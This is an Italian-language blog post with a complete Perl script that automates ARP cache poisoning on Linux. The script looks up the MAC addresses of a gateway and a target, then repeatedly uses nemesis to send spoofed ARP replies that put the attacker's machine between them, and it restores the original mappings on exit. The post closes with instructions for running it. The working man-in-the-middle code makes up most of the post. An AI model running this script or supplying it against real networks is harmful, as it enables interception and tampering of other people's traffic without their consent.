giovedì 11 novembre 2010

Script - Arp cache poisoning

In uno degli articoli riguardanti il networking ho parlato dell' attacco ARP-POISONING, in questo articolo vi mostrerò come è possibile creare degli script che automatizzano il lavoro utilizzando un potentissimo strumento il linguaggio perl.Una piccola premessa riguardo a questo linguaggio, perl non è solo un linguaggio di scripting ma è un completo linguaggio di programmazione con cui si possono creare applicativi di ogni tipo, il suo punto di forza è la portabilità, essendo infatti un linguaggio interpretato può essere eseguito su diversi sistemi operativi e per scrivere codice è necessario un editor di testo e nient'altro. Se intendete creare i vostri script questo è il linguaggio che fa per voi vi consiglio un ottimo sito in italiano per apprendere le basi di questo linguaggio http://www.perl.it/documenti/corsoperl.html. Bene, tenendo presente quello che ho già detto sull' ARP-POISONING definiamo la sequenza delle operazioni da compiere con uno schema a blocchi molto semplice:
Ora traduciamo in perl, ovviamente utilizzando linux userò comandi di sistema che funzionano con questo sistema operativo, quindi NON vi aspettate che lo script funzioni anche su windows.

#!/usr/bin/perl
$device = "eth0";
$SIG{INT} = \&cleanup;
$flag = 1;
$gatew = shift;
$target = shift;
if(($gatew . "." . $target) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/){
die ("Utilizzo : arppoi.pl <gateway> <target>\n");
}

print "invio ping a gateway e target per inserire MAC nella cache\n";
system ("ping -q -c 1 -w 1 $gatew > /dev/null");
system ("ping -q -c 1 -w 1 $target > /dev/null");

print "recupero indirizzi MAC da cache arp\n";
$gw_mac = qx[/sbin/arp -na $gatew];
$gw_mac = substr ( $gw_mac, index ($gw_mac, ":")-2,17);
$tg_mac = qx[/sbin/arp -na $target];
$tg_mac = substr ( $tg_mac, index ($tg_mac, ":")-2,17);

print "controllo se ci sono entrambi gli indirizzi\n";

if ($gw_mac !~ /^([A -F0-9]{2}\:){5}[A -F0-9]{2}$/){
die ("mac di $gatew non trovato\n");
}

if ($tg_mac !~ /^([A -F0-9]{2}\:){5}[A -F0-9]{2}$/){
die ("mac di $target non trovato\n");
}

print "recupero tuo Ip e MAC\n";
@ifconf = split(" ",qx[/sbin/ifconfig &device]);
$me = substr(@ifconf[6],5);
$me_mac = @ifconf[4];

print "[*] Gateway: $gatew ha il mac $gw_mac\n";
print "[*] Target: $target ha il mac $tg_mac\n";
print "[*] Tu: $me ha il mac $me_mac\n";


while($flag){
print "reindirizzamento $gatew -> $me_mac <- $target";
system("nemesis arp  -r -d $device -S $gatew -D $target -h $me_mac -m $tg_mac -H $me_mac -M $tg_mac");
system("nemesis arp  -r -d $device -S $target -D $gatew -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
sleep 10;
}

sub cleanup
{$flag = 0;
print "Ctrl-C uscita e ripristino mac\n";
system("nemesis arp  -r -d $device -S $gatew -D $target -h $gw_mac -m $tg_mac -H $gw_mac -M $tg_mac");
system("nemesis arp  -r -d $device -S $target -D $gatew -h $tg_mac -m $gw_mac -H $tg_mac -M$gw_mac");
}

Ecco a questo punto basta salvare il tutto nel file arppoi.pl, individuare gateway e target ed eseguire il programma con il comando:
./arppoi.pl <gateway> <target>

Nessun commento:

Posta un commento